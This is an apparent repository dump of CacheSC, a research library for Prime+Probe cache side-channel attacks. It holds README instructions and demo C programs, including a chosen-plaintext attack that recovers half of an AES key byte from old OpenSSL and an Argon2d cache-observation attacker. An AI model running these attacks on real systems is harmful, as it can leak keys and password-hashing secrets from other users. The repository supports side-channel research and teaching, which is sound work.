| Compile the library and demo code: 35 | ```text 36 | $ cd CacheSC 37 | $ make 38 | ``` 39 | 40 | This will produce `libcachesc.a` in `./lib` and the available header files in `./include`. Link this library in your C files as usual (see demo files). To use a custom installation path, run: 41 | ```text 42 | $ INST_PATH=/your/custom/installation/path make 43 | ``` 44 | 45 | ### 1.3 Install Python Packages for Plotting 46 | In case you want to use the plotting scripts, you need to install the Python packages. 47 | ```text 48 | $ pip3 install -r install/pip_requirements.txt 49 | ``` 50 | In case new package updates cause problems, the last version of the packages with which the library was tested can be installed by using `install/pip_requirements_exact.txt`. 51 | 52 | ## 2 Demo 53 | The folder `./demo` contains some example uses of the CacheSC library. 54 | 55 | ### 2.1 Single Eviction 56 | In this scenario, we show case the library by measuring a single cache line access, i.e. the scenario is: 57 | ```text 58 | for #samples do 59 | prime 60 | access cache line 61 | probe 62 | ``` 63 | 64 | Compile this demonstration attack by running the following command inside the `./demo` folder: 65 | ```text 66 | $ make single-eviction 67 | ``` 68 | 69 | Run the demonstration code and store its output in a log file: 70 | ```text 71 | $ ./demo/single-eviction 10000 > /tmp/attack.log 72 | ``` 73 | This performs `10000` Prime+Probe measurements. 74 | 75 | Plot the results: 76 | ```text 77 | $ ./scripts/plot-log.py -o /tmp -v -t /tmp/attack.log 78 | ``` 79 | 80 | Expected result: 81 | ![](./docs/imgs/l1_single_eviction.png) 82 | 83 | For many attacks, it is advantageous to normalize the measurements, e.g. to filter secret-independent cache accesses. The following commands run the same test with normalization and plots the normalized results: 84 | ```text 85 | $ cd ./demo 86 | $ NORMALIZE=1 make rebuild 87 | $ cd .. 88 | $ ./demo/single-eviction 10000 > /tmp/attack.log 89 | $ ./scripts/plot-log.py -o /tmp/cachesc -v -t -n /tmp/attack.log 90 | ``` 91 | 92 | Expected normalized result: 93 | ![](./docs/imgs/l1_single_eviction_normalized.png) 94 | 95 | This demo attack can also be run on physically indexed caches (such as L2). For this purpose, uncomment the following three macros in `single-eviction.c`, and comment out the definitions for L1. 96 | ```C 97 | // Uncomment for L2 attack 98 | #define TARGET_CACHE L2 99 | #define MSRMTS_PER_SAMPLE L2_SETS 100 | #define PRIME prime_rev 101 | ``` 102 | 103 | There is a priviliged and unprivileged version of this attack on physically indexed caches. The library will choose itself, based on the available privileges. The privileged version is significantly faster, building the data structure without privileges can require several minutes. 104 | 105 | ### 2.2 Chosen-Plaintext Attack on OpenSSL AES-CBC 106 | This attack uses CacheSC to implement the classic chosen-plaintext attack, similar to the one-round attack from Osvik, Shamir, and Tromer (presented in Cache Attacks and Countermeasures: the Case of AES), to recover half of any key byte of the AES-CBC encryption. However, instead of Evict+Time we use Prime+Probe for this attack. Our [report](./docs/revisiting-microarchitectural-side-channels-Miro-Haller.pdf) provides an in-depth discussion of this attack. 107 | 108 | Compile the attack by running the following in `./demo`: 109 | ```text 110 | $ OPENSSL_INCL=/path/to/openssl/include OPENSSL_LIB=/path/to/openssl/lib make openssl-aes-cbc 111 | ``` 112 | Where `OPENSSL_INCL` and `OPENSSL_LIB` point to your local OpenSSL installation. Specifying those environment variables is optional. Their defaults are `/usr/local/include` respectively `/usr/local/lib`. 113 | 114 | Note that you have to ensure that the vulnerable AES-CBC implementation of OpenSSL is run, i.e. not hardware optimizations such as `AES-NI` (OpenSSL checks on runtime, if `AES-NI` is available and may use it, unless you deactivate this). We tested this attack on `OpenSSL-0.9.8` (the original version used by Osvik et al.), compiled with the `no-asm` flag. 115 | 116 | It is again advisable to normalize the results, i.e. compile with the `NORMALIZE=1` flag. 117 | 118 | The expected plots (obtained as in the previous demo example) are: 119 | - Raw: ![](./docs/imgs/openssl_aes_cbc.png) 120 | - Normalized: ![](./docs/imgs/openssl_aes_cbc_normalized.png) 121 | 122 | ### 2.3 Argon2d 123 | This is no full attack. It rather provides an entry point for an asynchronous attack which builds on observing cache access patterns of passwords hashed with Argon2d. We argue in our [report](./docs/revisiting-microarchitectural-side-channels-Miro-Haller.pdf) that precise cache side-channel observations on Argon2d could be used for more efficient password cracking, bypassing Argon's parameterizable number of passes through memory. 124 | 125 | Compile the attack by running the following in `./demo`: 126 | ```text 127 | $ ARGON_INCL=/path/to/argon2/include ARGON_LIB=/path/to/argon2/lib make argon2d-attacker argon2d-victim 128 | ``` 129 | Where `ARGON_INCL` and `ARGON_LIB` point to the local installation of [Argon2](https://github.com/p-h-c/phc-winner-argon2). Those variables are again optional and default to `/usr/include` respectively `/usr/lib/x86_64-linux-gnu`. 130 | 131 | Start the victim and (privileged) attacker using the following commands: 132 | ```text 133 | $ sudo ./argon2d-attacker > /tmp/attacker.log & 134 | $ sleep 1 135 | $ ./argon2d-victim 10 > /tmp/victim.log 136 | $ sudo pkill -SIGINT -f argon2d-attacker 137 | ``` 138 | 139 | The accuracy of those observations could be evaluated by patching `Argon2d` (e.g. the `index_alpha` function in `opt.c`) to also print a timestamp and then observe how many blocks are processed between two scheduling periods of the attacker. We discuss the results of such a comparison in our [report](./docs/revisiting-microarchitectural-side-channels-Miro-Haller.pdf). 140 | 141 | 142 | ## 3 Plotting Script Options 143 | ```text 144 | $ ./scripts/plot-log.py -h 145 | usage: plot-log.py [-h] [-o OUTPUT_FOLDER] [--ylims YLIMS] [-n] [-t] [-v] 146 | log_file 147 | 148 | positional arguments: 149 | log_file path to log file to parse 150 | 151 | optional arguments: 152 | -h, --help show this help message and exit 153 | -o OUTPUT_FOLDER, --output_folder OUTPUT_FOLDER 154 | path to folder for the produced plots 155 | --ylims YLIMS fix y axis of plot, tuple (y_min, y_max) 156 | -n, --normalize normalize samples using an additional data set with 157 | uninfluenced data points 158 | -t, --transpose transpose data set, i.e. average overthe i-th entries 159 | of each sample 160 | -v, --verbose print debug output 161 | ``` 162 | -------------------------------------------------------------------------------- /demo/.gitignore: -------------------------------------------------------------------------------- 1 | # Ignore compiled binaries 2 | openssl-aes-cbc 3 | single-eviction 4 | argon2d-attacker 5 | argon2d-victim 6 | -------------------------------------------------------------------------------- /demo/Makefile: -------------------------------------------------------------------------------- 1 | ######## Variables ######## 2 | 3 | CURR_PATH := $(realpath $(dir $(realpath $(firstword $(MAKEFILE_LIST))))) 4 | 5 | ifeq ($(INST_PATH),) 6 | INST_PATH = $(realpath $(dir $(CURR_PATH))) 7 | endif 8 | 9 | ifeq ($(OPENSSL_INCL),) 10 | OPENSSL_INCL = /usr/local/include 11 | endif 12 | 13 | ifeq ($(OPENSSL_LIB),) 14 | OPENSSL_LIB = /usr/local/lib 15 | endif 16 | 17 | ifeq ($(ARGON_INCL),) 18 | ARGON_INCL = /usr/include 19 | endif 20 | 21 | ifeq ($(ARGON_LIB),) 22 | ARGON_LIB = /usr/lib/x86_64-linux-gnu 23 | endif 24 | 25 | CFLAGS += -std=gnu99 -D_ISOC11_SOURCE=1 -O1 -Winline 26 | 27 | ## CacheSC 28 | CFLAGS += -I$(INST_PATH)/include 29 | LDFLAGS += -L$(INST_PATH)/lib 30 | LDLIBS += -lcachesc 31 | 32 | ## OpenSSL 33 | CFLAGS += -I$(OPENSSL_INCL) 34 | LDFLAGS += -L$(OPENSSL_LIB) 35 | LDLIBS += -lcrypto 36 | 37 | ## Argon2 38 | CFLAGS += -I$(ARGON_INCL) 39 | LDFLAGS += -L$(ARGON_LIB) -static 40 | LDLIBS += -largon2 -pthread 41 | 42 | CC := gcc 43 | OUT := single-eviction openssl-aes-cbc argon2d-attacker argon2d-victim 44 | 45 | ifneq ($(NORMALIZE),) 46 | CFLAGS += -DNORMALIZE=$(NORMALIZE) 47 | endif 48 | 49 | ######## Targets ######## 50 | 51 | all: $(OUT) 52 | 53 | rebuild: clean all 54 | 55 | clean: 56 | rm -rf *.o $(OUT) 57 | 58 | $(OUT): 59 | $(CC) $(CFLAGS) -o $@ $(@:=.c) $(LDFLAGS) $(LDLIBS) 60 | -------------------------------------------------------------------------------- /demo/argon2d-attacker.c: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CacheSC library (https://github.com/Miro-H/CacheSC), 3 | * which implements Prime+Probe attacks on virtually and physically indexed 4 | * caches. 5 | * 6 | * Copyright (C) 2020 Miro Haller 7 | * 8 | * This program is free software: you can redistribute it and/or modify 9 | * it under the terms of the GNU General Public License as published by 10 | * the Free Software Foundation, either version 3 of the License, or 11 | * (at your option) any later version. 12 | * 13 | * This program is distributed in the hope that it will be useful, 14 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 15 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 16 | * GNU General Public License for more details. 17 | * 18 | * You should have received a copy of the GNU General Public License 19 | * along with this program. If not, see . 20 | * 21 | * Contact: miro.haller@alumni.ethz.ch 22 | * 23 | * Short description of this file: 24 | * This file is part of the demonstration of the implementation of an entry 25 | * point for an asynchronous attack to observe cache access patterns of 26 | * passwords hashed with Argon2d. 27 | * This file implements an asynchronous attacker running Prime+Probe in an 28 | * infinite loop. 29 | */ 30 | 31 | #include 32 | #include 33 | #include 34 | #include 35 | #include 36 | #include 37 | 38 | #include 39 | 40 | 41 | /* 42 | * Configure side-channel attack 43 | */ 44 | 45 | // There are two versions of this attacker: 46 | // - FULL_CACHE_ATTACK 1: Prime+Probe the entire L2 cache 47 | // - FULL_CACHE_ATTACK 0: Prime+Probe only every 16th set of L2 (as a single 48 | // Argon2 block covers 16 sets) 49 | #define FULL_CACHE_ATTACK 0 50 | #define PARTIAL_ATTACK_SETS 7, 23, 39, 55, 71, 87, 103, 119, \ 51 | 135, 151, 167, 183, 199, 215, 231, 247, \ 52 | 263, 279, 295, 311, 327, 343, 359, 375, \ 53 | 391, 407, 423, 439, 455, 471, 487, 503 54 | #define PARTIAL_ATTACK_LEN (L2_SETS / 16) 55 | #define TARGET_CACHE L2 56 | #define MSRMTS_PER_SAMPLE L2_SETS 57 | #define CPU_NUMBER 1 58 | 59 | 60 | // local functions and global variables 61 | static volatile int user_abort = 0; 62 | 63 | void abortHandler(int unused); 64 | 65 | int main(int argc, char **argv) 66 | { 67 | /* 68 | * Initial preparation 69 | */ 70 | set_seed(); 71 | 72 | cache_ctx *ctx = get_cache_ctx(TARGET_CACHE); 73 | 74 | #if FULL_CACHE_ATTACK 75 | cacheline *cache_ds = prepare_cache_ds(ctx); 76 | #else 77 | uint32_t attack_sets[PARTIAL_ATTACK_LEN] = {PARTIAL_ATTACK_SETS}; 78 | cacheline *cache_ds = prepare_cache_set_ds(ctx, attack_sets, 79 | PARTIAL_ATTACK_LEN); 80 | #endif 81 | 82 | pin_to_cpu(CPU_NUMBER); 83 | 84 | // Register handler to catch CTRL+C and exit gracefully 85 | signal(SIGINT, abortHandler); 86 | 87 | cacheline *curr_head = cache_ds; 88 | cacheline *next_head; 89 | 90 | 91 | /* 92 | * Start performing Prime+Probe in an infinite loop 93 | */ 94 | print_banner("Start cache attack(s)"); 95 | 96 | prepare_measurement(); 97 | 98 | while(!user_abort) { 99 | /* prime */ 100 | printf("start prime: %llu\n", __rdtsc()); 101 | curr_head = prime(curr_head); 102 | 103 | /* probe */ 104 | next_head = probe(TARGET_CACHE, curr_head); 105 | printf("probe done: %llu\n", __rdtsc()); 106 | 107 | curr_head = next_head; 108 | } 109 | 110 | print_banner("Stop cache attack(s)"); 111 | 112 | 113 | /* 114 | * Cleanup 115 | */ 116 | #if FULL_CACHE_ATTACK 117 | release_cache_ds(ctx, cache_ds); 118 | #else 119 | release_cache_set_ds(ctx, cache_ds); 120 | #endif 121 | release_cache_ctx(ctx); 122 | 123 | return EXIT_SUCCESS; 124 | } 125 | 126 | void abortHandler(int unused) { 127 | user_abort = 1; 128 | } 129 | -------------------------------------------------------------------------------- /demo/argon2d-victim.c: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CacheSC library (https://github.com/Miro-H/CacheSC), 3 | * which implements Prime+Probe attacks on virtually and physically indexed 4 | * caches. 5 | * 6 | * Copyright (C) 2020 Miro Haller 7 | * 8 | * This program is free software: you can redistribute it and/or modify 9 | * it under the terms of the GNU General Public License as published by 10 | * the Free Software Foundation, either version 3 of the License, or 11 | * (at your option) any later version. 12 | * 13 | * This program is distributed in the hope that it will be useful, 14 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 15 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 16 | * GNU General Public License for more details. 17 | * 18 | * You should have received a copy of the GNU General Public License 19 | * along with this program. If not, see . 20 | * 21 | * Contact: miro.haller@alumni.ethz.ch 22 | * 23 | * Short description of this file: 24 | * This file is part of the demonstration of the implementation of an entry 25 | * point for an asynchronous attack to observe cache access patterns of 26 | * passwords hashed with Argon2d. 27 | * This file implements a victim performing some password hashes with Argon2d. 28 | */ 29 | 30 | #include 31 | #include 32 | #include 33 | #include 34 | 35 | #include 36 | #include 37 | 38 | 39 | /* 40 | * Configure victim 41 | */ 42 | #define CPU_NUMBER 1 43 | 44 | // Configure Argon2 hash 45 | #define HASH_LEN 32 46 | #define SALT_LEN 16 47 | #define PWD_LEN 10 48 | 49 | // local functions 50 | void usage(const char *prog); 51 | 52 | int main(int argc, char **argv) 53 | { 54 | int sample_cnt = -1; 55 | uint32_t i; 56 | 57 | if (argc == 2) 58 | sample_cnt = atoi(argv[1]); 59 | if (sample_cnt < 0) 60 | usage(argv[0]); 61 | 62 | 63 | /* 64 | * Initial preparation 65 | */ 66 | pin_to_cpu(CPU_NUMBER); 67 | 68 | uint8_t salt[SALT_LEN]; 69 | memset( salt, 0x00, SALT_LEN ); 70 | 71 | uint8_t pwd[PWD_LEN]; 72 | uint8_t hash[PWD_LEN]; 73 | gen_rand_bytes(pwd, PWD_LEN); 74 | 75 | // 1-pass computation, 64 mebibytes memory usage 76 | uint32_t t_cost = 2; 77 | uint32_t m_cost = (1<<16); 78 | uint32_t parallelism = 1; 79 | 80 | /* 81 | * Start computing "sample_cnt" Argon2d hashes 82 | */ 83 | print_banner("Start Argon2d hashing"); 84 | 85 | prepare_measurement(); 86 | 87 | for (i = 0; i < sample_cnt; ++i) { 88 | argon2d_hash_raw(t_cost, m_cost, parallelism, pwd, PWD_LEN, 89 | salt, SALT_LEN, hash, HASH_LEN); 90 | } 91 | 92 | print_banner("Stop Argon2d hashing"); 93 | 94 | return EXIT_SUCCESS; 95 | } 96 | 97 | void usage(const char *prog) { 98 | fprintf(stderr, "Usage: %s \n", prog); 99 | exit(EXIT_FAILURE); 100 | } 101 | -------------------------------------------------------------------------------- /demo/openssl-aes-cbc.c: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CacheSC library (https://github.com/Miro-H/CacheSC), 3 | * which implements Prime+Probe attacks on virtually and physically indexed 4 | * caches. 5 | * 6 | * Copyright (C) 2020 Miro Haller 7 | * 8 | * This program is free software: you can redistribute it and/or modify 9 | * it under the terms of the GNU General Public License as published by 10 | * the Free Software Foundation, either version 3 of the License, or 11 | * (at your option) any later version. 12 | * 13 | * This program is distributed in the hope that it will be useful, 14 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 15 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 16 | * GNU General Public License for more details. 17 | * 18 | * You should have received a copy of the GNU General Public License 19 | * along with this program. If not, see . 20 | * 21 | * Contact: miro.haller@alumni.ethz.ch 22 | * 23 | * Short description of this file: 24 | * This file uses CacheSC to implement the classic chosen-plaintext attack, 25 | * similar to the one-round attack from Osvik, Shamir, and Tromer (presented in 26 | * Cache Attacks and Countermeasures: the Case of AES), to recover half of any 27 | * key byte of the AES-CBC encryption. However, instead of Evict+Time we use 28 | * Prime+Probe for this attack. 29 | * 30 | * To reproduce our results, make sure the CPU governor is set to performance 31 | * (cpufreq -c CPU_NUMBER -g performance). The project report, linked in this 32 | * repository, provides more details on our test cases. 33 | */ 34 | 35 | #include 36 | #include 37 | #include 38 | #include 39 | #include 40 | 41 | #include 42 | #include 43 | #include 44 | 45 | #include 46 | 47 | /* 48 | * Configure side-channel attack 49 | */ 50 | 51 | // Target plaintext/key byte in cache side channel attack 52 | #define TARGET_BYTE 0 53 | #define CPU_NUMBER 1 54 | #define MSRMTS_PER_SAMPLE L1_SETS 55 | 56 | // AES-CBC parameters, for simplicity, only encrypt one block. 57 | #define IV_LEN 16 58 | #define KEY_LEN 16 59 | 60 | // PT_LEN must be a multiple of 16. 61 | #define PT_LEN 16 62 | #define BLOCK_PAD(l) 16 * (((l) + 15)/16) 63 | 64 | // local functions 65 | void usage(const char *prog); 66 | __attribute__((always_inline)) static inline void handleErrors(void); 67 | 68 | int main(int argc, char **argv) { 69 | int sample_cnt = -1; 70 | uint32_t i; 71 | 72 | if (argc == 2) 73 | sample_cnt = atoi(argv[1]); 74 | if (sample_cnt < 0) 75 | usage(argv[0]); 76 | 77 | 78 | /* 79 | * Initial preparation 80 | */ 81 | PRINT_LINE("Initial preparation\n"); 82 | PRINT_LINE("Number of samples: %d\n", sample_cnt); 83 | PRINT_LINE("Measurements per sample: %d\n", MSRMTS_PER_SAMPLE); 84 | 85 | set_seed(); 86 | 87 | // Initialize mesurement data structures 88 | cache_ctx *cache_ctx = get_cache_ctx(L1); 89 | cacheline *l1 = prepare_cache_ds(cache_ctx); 90 | pin_to_cpu(CPU_NUMBER); 91 | 92 | size_t res_size = sample_cnt * MSRMTS_PER_SAMPLE * sizeof(time_type); 93 | time_type *res = (time_type *) malloc(res_size); 94 | assert(res); 95 | memset(res, 0, res_size); 96 | 97 | // Initialize AES-CBC 98 | EVP_CIPHER_CTX aes_ctx; 99 | EVP_CIPHER_CTX_init(&aes_ctx); 100 | int ctx_cache_set = get_cache_set(cache_ctx, &aes_ctx); 101 | int ct_len; 102 | 103 | // Initialize arrays for plaintexts, ciphertexts, and keys and place them 104 | // in memory to avoid collisions as much as possible. 105 | 106 | // Place ctx, ct, pt, and key in different cache sets (if possible). 107 | // `sets * CACHELINE_SIZE` is the size that covers all cache sets 108 | // which is added to be able to choose any cache set offset we want. 109 | uint16_t pt_spanned_cls = get_spanned_cache_lines(cache_ctx, PT_LEN); 110 | uint64_t data_len = (2 * pt_spanned_cls 111 | + get_spanned_cache_lines(cache_ctx, KEY_LEN) 112 | + cache_ctx->sets) * CACHELINE_SIZE; 113 | 114 | unsigned char *data = (unsigned char *) aligned_alloc(PAGE_SIZE, data_len); 115 | assert(data); 116 | 117 | // Place ct in the cache set after ctx 118 | unsigned char *ct = data + CACHELINE_SIZE * ((ctx_cache_set 119 | + get_spanned_cache_lines(cache_ctx, sizeof(EVP_CIPHER_CTX))) 120 | % cache_ctx->sets); 121 | unsigned char *pt = ct + pt_spanned_cls * CACHELINE_SIZE; 122 | unsigned char *key = pt + pt_spanned_cls * CACHELINE_SIZE; 123 | 124 | unsigned char *pt_arr = (unsigned char *) malloc(PT_LEN * sample_cnt); 125 | assert(pt_arr); 126 | for (i = 0; i < sample_cnt; ++i) 127 | gen_rand_bytes(pt_arr + i * PT_LEN, PT_LEN); 128 | 129 | // Initialize values for victim 130 | unsigned char *key_arr = (unsigned char *) malloc(KEY_LEN * sample_cnt); 131 | for (i = 0; i < sample_cnt; ++i) 132 | gen_rand_bytes(key_arr + i * KEY_LEN, KEY_LEN); 133 | 134 | // A 128 bit IV, fixed for this example (initialized to 0), as the plaintext 135 | // is already randomized 136 | unsigned char iv[IV_LEN]; 137 | memset(iv, 0, IV_LEN); 138 | 139 | // Predicting the accessed set depends on the Te0 offset. 140 | // This could be detected by monitoring the cache usage. Alternatively, one 141 | // could also patch the openssl library to export this address, e.g. with 142 | // the function call EVP_aes_get_Te0_addr() and then find the set like this: 143 | // get_cache_set(cache_ctx, (void *) (EVP_aes_get_Te0_addr() 144 | // + key_arr[TARGET_BYTE] * 4)) 145 | PRINT_LINE("Legend: key byte: 0x%02x\n", key_arr[TARGET_BYTE]); 146 | 147 | uint32_t *curr_res = res; 148 | cacheline *curr_head = l1; 149 | cacheline *next_head; 150 | 151 | 152 | /* 153 | * Make baseline measurements for normalisation, using encryptions with 154 | * random keys (optional) 155 | */ 156 | #ifdef NORMALIZE 157 | prepare_measurement(); 158 | 159 | for (i = 0; i < sample_cnt; ++i) { 160 | memcpy(pt, pt_arr + i * PT_LEN, PT_LEN); 161 | memcpy(key, key_arr + i * KEY_LEN, KEY_LEN); 162 | 163 | if(1 != EVP_EncryptInit_ex(&aes_ctx, EVP_aes_128_cbc(), NULL, key, iv)) 164 | handleErrors(); 165 | 166 | curr_head = prime(curr_head); 167 | if(1 != EVP_EncryptUpdate(&aes_ctx, ct, &ct_len, pt, PT_LEN)) 168 | handleErrors(); 169 | next_head = probe(L1, curr_head); 170 | get_msrmts_for_all_set(curr_head, curr_res); 171 | 172 | // prepare for next iteration 173 | curr_head = next_head; 174 | curr_res += MSRMTS_PER_SAMPLE; 175 | } 176 | 177 | PRINT_LINE("Output cache set access baseline data\n"); 178 | print_results(res, sample_cnt, MSRMTS_PER_SAMPLE); 179 | 180 | // reset changes 181 | memset(res, 0, res_size); 182 | curr_res = res; 183 | curr_head = l1; 184 | #endif 185 | 186 | 187 | /* 188 | * Start attacking for "sample_cnt" rounds 189 | */ 190 | print_banner("Start L1 cache attack(s)"); 191 | 192 | prepare_measurement(); 193 | 194 | for (i = 0; i < sample_cnt; ++i) { 195 | memcpy(pt, pt_arr + i * PT_LEN, PT_LEN); 196 | memcpy(key, key_arr + i * KEY_LEN, KEY_LEN); 197 | memcpy(key, key_arr, KEY_LEN); 198 | pt[TARGET_BYTE] = 0; 199 | 200 | if(1 != EVP_EncryptInit_ex(&aes_ctx, EVP_aes_128_cbc(), NULL, key, iv)) 201 | handleErrors(); 202 | 203 | /* Prime */ 204 | curr_head = prime(curr_head); 205 | 206 | /* Encrypt */ 207 | if(1 != EVP_EncryptUpdate(&aes_ctx, ct, &ct_len, pt, PT_LEN)) 208 | handleErrors(); 209 | 210 | // No EVP_EncryptFinal_ex, because our plaintext is a multiple of the 211 | // block size 212 | 213 | /* Probe */ 214 | next_head = probe(L1, curr_head); 215 | 216 | get_msrmts_for_all_set(curr_head, curr_res); 217 | 218 | // prepare for next iteration 219 | curr_head = next_head; 220 | curr_res += MSRMTS_PER_SAMPLE; 221 | } 222 | 223 | print_banner("Stop L1 cache attack(s)"); 224 | 225 | 226 | /* 227 | * Print output 228 | */ 229 | PRINT_LINE("Output cache attack data\n"); 230 | print_results(res, sample_cnt, MSRMTS_PER_SAMPLE); 231 | 232 | 233 | /* 234 | * Cleanup 235 | */ 236 | free(data); 237 | free(pt_arr); 238 | free(key_arr); 239 | free(res); 240 | release_cache_ds(cache_ctx, l1); 241 | release_cache_ctx(cache_ctx); 242 | EVP_CIPHER_CTX_cleanup(&aes_ctx); 243 | 244 | return EXIT_SUCCESS; 245 | } 246 | 247 | void usage(const char *prog) { 248 | fprintf(stderr, "Usage: %s \n", prog); 249 | exit(EXIT_FAILURE); 250 | } 251 | 252 | static inline void handleErrors(void) { 253 | ERR_print_errors_fp(stderr); 254 | abort(); 255 | } 256 | -------------------------------------------------------------------------------- /demo/single-eviction.c: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CacheSC library (https://github.com/Miro-H/CacheSC), 3 | * which implements Prime+Probe attacks on virtually and physically indexed 4 | * caches. 5 | * 6 | * Copyright (C) 2020 Miro Haller 7 | * 8 | * This program is free software: you can redistribute it and/or modify 9 | * it under the terms of the GNU General Public License as published by 10 | * the Free Software Foundation, either version 3 of the License, or 11 | * (at your option) any later version. 12 | * 13 | * This program is distributed in the hope that it will be useful, 14 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 15 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 16 | * GNU General Public License for more details. 17 | * 18 | * You should have received a copy of the GNU General Public License 19 | * along with this program. If not, see . 20 | * 21 | * Contact: miro.haller@alumni.ethz.ch 22 | * 23 | * Short description of this file: 24 | * This file demonstrates the usage of CacheSC on the artificial example of a 25 | * single cache line eviction between prime and probe. 26 | */ 27 | 28 | #include 29 | #include 30 | #include 31 | 32 | 33 | /* 34 | * Configure side-channel attack 35 | */ 36 | 37 | // Pin process to a CPU. To reduce noise, this CPU can be isolated. 38 | #define CPU_NUMBER 1 39 | // Set which is targeted for the eviction that this demo measures 40 | #define TARGET_SET 33 41 | 42 | // This demo can be run on L1 or L2, uncomment the respective macros below 43 | 44 | // Uncomment for L1 attack 45 | #define TARGET_CACHE L1 46 | #define MSRMTS_PER_SAMPLE L1_SETS 47 | #define PRIME prime 48 | 49 | // Uncomment for L2 attack 50 | // #define TARGET_CACHE L2 51 | // #define MSRMTS_PER_SAMPLE L2_SETS 52 | // #define PRIME prime_rev 53 | 54 | // local functions 55 | void usage(const char *prog); 56 | 57 | int main(int argc, char **argv) { 58 | uint32_t sample_cnt = -1; 59 | 60 | if (argc == 2) 61 | sample_cnt = atoi(argv[1]); 62 | if (argc != 2 || sample_cnt < 0) 63 | usage(argv[0]); 64 | 65 | 66 | /* 67 | * Initial preparation 68 | */ 69 | PRINT_LINE("Initial attacker preparation\n"); 70 | PRINT_LINE("Number of samples: %d\n", sample_cnt); 71 | PRINT_LINE("Measurements per sample: %d\n", MSRMTS_PER_SAMPLE); 72 | 73 | // Get a cache context object containing the dimensions of the attacked 74 | // cache. 75 | cache_ctx *ctx = get_cache_ctx(TARGET_CACHE); 76 | // Prepare the Prime+Probe data structure. For unprivileged L2 attacks, 77 | // this can take a while. 78 | cacheline *cache_ds = prepare_cache_ds(ctx); 79 | 80 | // Prepare an array to store the time measurements 81 | size_t res_size = sample_cnt * MSRMTS_PER_SAMPLE * sizeof(time_type); 82 | time_type *res = (time_type *) malloc(res_size); 83 | assert(res); 84 | memset(res, 0, res_size); 85 | 86 | // Prepare victim, which we later use to access a cache line in the 87 | // targeted set. 88 | cacheline *victim_ptr = prepare_victim(ctx, TARGET_SET); 89 | PRINT_LINE("Legend: target set: %d\n", TARGET_SET); 90 | 91 | // Pin process to a CPU 92 | pin_to_cpu(CPU_NUMBER); 93 | 94 | uint32_t i; 95 | uint32_t *curr_res = res; 96 | cacheline *curr_head = cache_ds; 97 | cacheline *next_head; 98 | 99 | prepare_measurement(); 100 | 101 | 102 | /* 103 | * Make baseline measurements for normalisation (optional) 104 | */ 105 | #ifdef NORMALIZE 106 | for (i = 0; i < sample_cnt; ++i) { 107 | curr_head = PRIME(curr_head); 108 | next_head = probe(TARGET_CACHE, curr_head); 109 | 110 | get_msrmts_for_all_set(curr_head, curr_res); 111 | curr_head = next_head; 112 | curr_res += MSRMTS_PER_SAMPLE; 113 | } 114 | 115 | PRINT_LINE("Output cache set access baseline data\n"); 116 | print_results(res, sample_cnt, MSRMTS_PER_SAMPLE); 117 | 118 | // reset changes 119 | memset(res, 0, res_size); 120 | curr_res = res; 121 | curr_head = cache_ds; 122 | #endif 123 | 124 | 125 | /* 126 | * Start attacking for "sample_cnt" rounds 127 | */ 128 | print_banner("Start cache attack(s)"); 129 | 130 | prepare_measurement(); 131 | 132 | for (i = 0; i < sample_cnt; ++i) { 133 | curr_head = PRIME(curr_head); 134 | // Access cache line in target cache set 135 | victim(victim_ptr); 136 | next_head = probe(TARGET_CACHE, curr_head); 137 | 138 | get_msrmts_for_all_set(curr_head, curr_res); 139 | curr_head = next_head; 140 | curr_res += MSRMTS_PER_SAMPLE; 141 | } 142 | 143 | print_banner("Stop cache attack(s)"); 144 | 145 | 146 | /* 147 | * Print output 148 | */ 149 | PRINT_LINE("Output cache attack data\n"); 150 | print_results(res, sample_cnt, MSRMTS_PER_SAMPLE); 151 | 152 | 153 | /* 154 | * Cleanup 155 | */ 156 | free(res); 157 | release_cache_ds(ctx, cache_ds); 158 | release_victim(ctx, victim_ptr); 159 | release_cache_ctx(ctx); 160 | 161 | return EXIT_SUCCESS; 162 | } 163 | 164 | void usage(const char *prog) { 165 | fprintf(stderr, "Usage: %s \n", prog); 166 | exit(EXIT_FAILURE); 167 | } 168 | -------------------------------------------------------------------------------- /docs/imgs/l1_single_eviction.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Miro-H/CacheSC/131ab148a2b46715fdeec04f063090ebb048921f/docs/imgs/l1_single_eviction.png -------------------------------------------------------------------------------- /docs/imgs/l1_single_eviction_normalized.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Miro-H/CacheSC/131ab148a2b46715fdeec04f063090ebb048921f/docs/imgs/l1_single_eviction_normalized.png -------------------------------------------------------------------------------- /docs/imgs/openssl_aes_cbc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Miro-H/CacheSC/131ab148a2b46715fdeec04f063090ebb048921f/docs/imgs/openssl_aes_cbc.png -------------------------------------------------------------------------------- /docs/imgs/openssl_aes_cbc_normalized.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Miro-H/CacheSC/131ab148a2b46715fdeec04f063090ebb048921f/docs/imgs/openssl_aes_cbc_normalized.png -------------------------------------------------------------------------------- /docs/revisiting-microarchitectural-side-channels-Miro-Haller.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Miro-H/CacheSC/131ab148a2b46715fdeec04f063090ebb048921f/docs/revisiting-microarchitectural-side-channels-Miro-Haller.pdf -------------------------------------------------------------------------------- /include/.keep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Miro-H/CacheSC/131ab148a2b46715fdeec04f063090ebb048921f/include/.keep -------------------------------------------------------------------------------- /install/pip_requirements.txt: -------------------------------------------------------------------------------- 1 | matplotlib 2 | colorama 3 | scipy 4 | -------------------------------------------------------------------------------- /install/pip_requirements_exact.txt: -------------------------------------------------------------------------------- 1 | matplotlib==3.1.3 2 | colorama==0.4.3 3 | scipy==1.4.1 4 | -------------------------------------------------------------------------------- /lib/.keep: -------------------------------------------------------------------------------- 